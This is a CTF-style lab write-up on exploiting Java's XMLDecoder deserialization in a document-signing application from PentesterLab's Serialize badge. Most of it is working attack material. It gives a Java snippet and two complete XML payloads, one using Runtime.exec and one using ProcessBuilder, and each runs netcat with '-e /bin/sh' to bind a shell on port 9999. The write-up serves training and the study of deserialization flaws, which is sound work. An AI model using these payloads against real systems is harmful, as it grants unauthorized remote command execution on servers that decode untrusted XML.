Pentesterlab Serialize Badge/XMLDecoder

Saikat Karmakar | Sept 5 : 2021

Introduction

This course details the exploitation of an application using XMLDecoder to unserialize arbitrary data. This exercise was built for the NullCon 2016 CTF. The application allows users to sign and verify documents.

XMLDecoder

XMLDecoder is a Java class that creates object based on a XML message. If a malicious user can get an application to use arbitrary data in a call to the method readObject, she will instantly gain code execution on the server.

Exploitation of this vulnerability

If we read the signature generated by the server, it's easy to tell that the application is using XMLDecoder:

```xml
<java version="1.7.0_67" class="java.beans.XMLDecoder">
<object class="models.CTFSignature" id="CTFSignature0">
<void class="models.CTFSignature" method="getField">
<string>hash</string>
<void method="set">
<object idref="CTFSignature0"/>
<string>33b6c7bd8cc4d313bf9f7ca2c73851da2b33d67e</string>
</void>
</void>
<void class="models.CTFSignature" method="getField">
<string>sig</string>
<void method="set">
<object idref="CTFSignature0"/>
<string>ad87fbe389784e423b4545b4a1c8a4f873a6295e</string>
</void>
</void>
</object>
</java>
```

We want to start a shell and bind it to a TCP port. The Java code to do this looks like:

```java
    Runtime run = Runtime.getRuntime();
    String[] commands = new String[] { "/usr/bin/nc", "-l","-p", "9999"
        , "-e", "/bin/sh" };
    run.exec(commands );
```

To get code execution, we will need to manually transform this code in the right format.

To do this, we get a Runtime object using:

```xml
<object class="java.lang.Runtime" method="getRuntime">
```

Then we can call the method exec using:

```xml
    <void method="exec">
    <array class="java.lang.String" length="6">
      <void index="0">
          <string>/usr/bin/nc</string>
      </void>
      <void index="1">
          <string>-l</string>
      </void>
      <void index="2">
          <string>-p</string>
      </void>
      <void index="3">
          <string>9999</string>
      </void>
      <void index="4">
          <string>-e</string>
      </void>
      <void index="5">
          <string>/bin/sh</string>
      </void>
    </array>
    </void>
```

If we look at the final payload, the important part is to see how the call to exec is nested inside the object element:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
 <object class="java.lang.Runtime" method="getRuntime">
      <void method="exec">
      <array class="java.lang.String" length="6">
          <void index="0">
              <string>/usr/bin/nc</string>
          </void>
          <void index="1">
              <string>-l</string>
          </void>
          <void index="2">
              <string>-p</string>
          </void>
          <void index="3">
              <string>9999</string>
          </void>
          <void index="4">
              <string>-e</string>
          </void>
          <void index="5">
              <string>/bin/sh</string>
          </void>
      </array>
      </void>
 </object>
</java>
```

If we were to use ProcessBuilder instead of `Runtime().exec()`, the payload will look like:

```
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
  <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="6">
      <void index="0">
        <string>/usr/bin/nc</string>
      </void>
      <void index="1">
         <string>-l</string>
      </void>
      <void index="2">
         <string>-p</string>
      </void>
      <void index="3">
         <string>9999</string>
      </void>
      <void index="4">
         <string>-e</string>
      </void>
      <void index="5">
         <string>/bin/sh</string>
      </void>
    </array>
    <void method="start" id="process">
    </void>
  </void>
</java>
```